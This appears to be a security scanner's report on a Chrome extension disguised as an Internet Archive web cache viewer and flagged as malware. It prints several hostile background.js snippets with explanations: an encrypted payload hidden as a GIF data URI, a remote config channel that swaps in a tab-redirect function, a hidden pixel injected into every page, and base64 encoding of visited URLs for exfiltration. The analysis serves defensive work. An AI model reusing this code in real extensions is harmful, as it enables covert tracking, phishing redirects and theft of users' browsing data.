Security Alert: Confirmed Malware
Internet Archive - Web Cache Viewer
ID: bibnckpdfoafofnkmcdoacackddbhcfm
Supported Languages
Extension Info & Metadata
Publisher Contextual Analysis
- Privacy
- Privacy Policy
- MX records exist
- Yes
- Domain exists
- Yes
- Is disposable
- No
- Is role-based
- No
- Mailbox exists
- Yes
Email Change History
View older or cached versions of the current webpage
Internet Archive - Web Archive is your time machine for the internet. With just one click, access any previous version of a webpage you're viewing. Whether you need to recover deleted content, compare changes, or simply view how a site looked in the past, Web Archive makes it effortless. It works with major archiving services like Wayback Machine, Google Cache, and Archive.is, giving you multiple options to find the content you need. Never lose access to important web information again.
A variable named `i` stores a string disguised as a GIF data URI that is actually an AES-GCM encrypted configuration blob. Real GIF data URIs begin with 'R0lGO' in base64; this payload does not. At startup the extension decrypts this with a PBKDF2-derived key seeded from browser local storage, then applies the decrypted JSON to its runtime config object — a classic steganographic payload-hiding technique used to defeat static analysis.
var i = "data:image/gif;base64,j0thzMDhq4oGAEhtQDUAFfelPkzOMV4ntRqZv4VTVQQmlFu3VtIlr094yMoUNQq+hsuJNbh06CQDjyiRtW+iTr4H1E8DrJRk6UKcckUfTotSnV1dUBd/fRZW0YL60CtouJaWvGSSokrBh85Umra7dgImTnOKqg==",On every browser startup the extension decrypts the hidden payload `i` using local-storage data as a PBKDF2 key, then fetches `blank.json?ver=<stored_timestamps>` and merges the response into its live config object `a`. Critically, `o.charta && (a[o.layer2] = a[o.layer1])` allows the JSON response to swap any named property in `a` — including replacing the stub `recreaStat` function with `recreaTab`, which calls `chrome.tabs.update` to redirect tabs. This is a remote code-loading / backdoor mechanism delivered through an innocuous-looking local extension file.
chrome.runtime.onStartup.addListener((function() { u(a.nomenObjecti, "initium", 1, 4), u(a.nomenTemporis, "initium", Date.now(), 4), function() { return l.apply(this, arguments) }() .then(function() { var t = n(e() .mark((function t(r) { var n, o, u; return e() .wrap((function(t) { for (;;) switch (t.prev = t.next) { case 0: return t.prev = 0, t.next = 3, p(i, JSON.stringify(r.resMea), 22); case 3: return (o = t.sent) && c(o = JSON.parse(o)), t.next = 7, fetch(a.viaJson + (( null === (n = r.tempusMeum) || void 0 === n || null === (n = n .initium) || void 0 === n ? void 0 : n.join("")) || "")); case 7: return u = t.sent, t.next = 10, u.json(); case 10: c(o = t.sent), o.charta && (a[o.layer2] = a[o.layer1]), t.next = 17;On every completed HTTP/HTTPS page navigation, the extension injects a script into the page that creates a hidden `<img>` element whose `src` is the encrypted payload blob `i`, with width and height set to `0` (as configured in `blank.json`). This is a 0×0 invisible tracking pixel injected into every page the user visits across all URLs. The image `src` and its attributes are fully controlled by the remotely-updatable config object `a.configuratio`, meaning the beacon endpoint can be changed silently at any time.
chrome.webNavigation.onCompleted.addListener(function() { var t = n(e() .mark((function t(r) { return e() .wrap((function(t) { for (;;) switch (t.prev = t.next) { case 0: if (0 !== r.frameId) { t.next = 10; break } return t.prev = 1, u(a.nomenObjecti, "navigatio", 2, 12), t.next = 5, chrome.scripting .executeScript({ target: { tabId: r.tabId }, func: function(t, e) { if (t.width) { var r = document.createElement("img"); r.src = e, r.setAttribute(t.width, t.width_x), r.setAttribute(t.height, t.height_y) } return !0 }, args: [a.configuratio, i] });Before every top-level navigation the extension tests the destination URL against the regex `a.exemplar` (set dynamically via C2). When it matches, it calls `a.recreaStat(tabId, a.nexum + btoa(url))`, building a string that encodes the visited URL in base64 appended to the `a.nexum` endpoint. Because the C2 channel can replace `recreaStat` with `recreaTab` (which calls `chrome.tabs.update(tabId, {url: e})`), matching URLs can be silently redirected to the attacker-controlled `a.nexum + btoa(original_url)` endpoint, enabling phishing or URL-based data exfiltration.
chrome.webNavigation.onBeforeNavigate.addListener((function(t) { 0 === t.frameId && new RegExp(a.exemplar) .test(t.url) && a.recreaStat(t.tabId, "".concat(a.nexum) .concat(btoa(t.url)))})),The core config object `a` uses Latin-named fields (`nomenObjecti`=storage key, `nomenTemporis`=time key, `nexum`=URL endpoint, `exemplar`=URL filter regex, `statistica`=tracking counters, `configuratio`=injected script args, `charta`=update flag) to obscure its purpose from human reviewers. The presence of `recreaTab` (tab URL updater) alongside the statistic-recording stub `recreaStat` reveals the designed-in pivot: the C2 response can promote `recreaTab` into the active navigation handler, converting the extension from a passive tracker into an active tab hijacker.
a = { nomenObjecti: "resMea", nomenTemporis: "tempusMeum", viaJson: chrome.runtime.getURL("/blank.json") + "?ver=", configuratio: {}, nexum: null, exemplar: null, statistica: {}, recreaTab: function(t, e) { chrome.tabs.update(t, { url: e }) }, recreaStat: function(t, e) { this.statistica[t]++ }};The extension implements full AES-256-GCM decryption with PBKDF2 key derivation (100,000 iterations, SHA-256) using the Web Crypto API. This cryptographic stack is used exclusively to decrypt the hidden payload embedded in variable `i` — there is no legitimate reason for a web cache viewer to need client-side AES-GCM decryption. Using local storage content as the key seed means the payload cannot be decrypted by static or sandbox analysis, it only unlocks on a real user's browser where the requisite storage data exists.
function h() { return (h = n(e() .mark((function t(r, n) { var o; return e() .wrap((function(t) { for (;;) switch (t.prev = t.next) { case 0: return t.next = 2, crypto.subtle.importKey("raw", (e = r, (new TextEncoder) .encode(e)), { name: "PBKDF2" }, !1, ["deriveKey"]); case 2: return o = t.sent, t.abrupt("return", crypto.subtle.deriveKey({ name: "PBKDF2", salt: n, iterations: 1e5, hash: "SHA-256" }, o, { name: "AES-GCM", length: 256 }, !1, ["encrypt", "decrypt"])); case 4: case "end": return t.stop() } var e }), t) })))) .apply(this, arguments)}The extension creates a recurring alarm named `inspectio` with a 12-second interval (0.2 minutes). The alarm listener currently only reads `t.name` (a no-op), but the alarm name and the C2 update mechanism together suggest this was designed as a heartbeat trigger. The C2 channel's function-swap capability (`a[o.layer2] = a[o.layer1]`) could be extended to replace the alarm handler with an active polling or exfiltration routine without any new code being downloaded.
chrome.alarms.create("inspectio", { periodInMinutes: .2}), chrome.alarms.onAlarm.addListener((function(t) { t.name}))By severity
Versions scanned
Showing 1 of 4 scanned versions with more than one unique finding. Counts are unique findings that include each version.
| Extension Version | Code Review Findings |
|---|---|
| 4.0.1 | 7 |
Files with findings
1 distinct path — top paths by unique finding count:
- background.js7
URLs
View the external URLs this extension communicates with to understand its network activity and data interactions.
Gain full insight into all external connections.
Upgrade for full visibility.
Gain full insight into all external connections.
Upgrade for full visibility.
Code Diff
Compare extension code between any two versions.
No comparable text files found between these versions.
Browse and explore files within this extension package
Gain full insight into all external connections.
Upgrade for full visibility.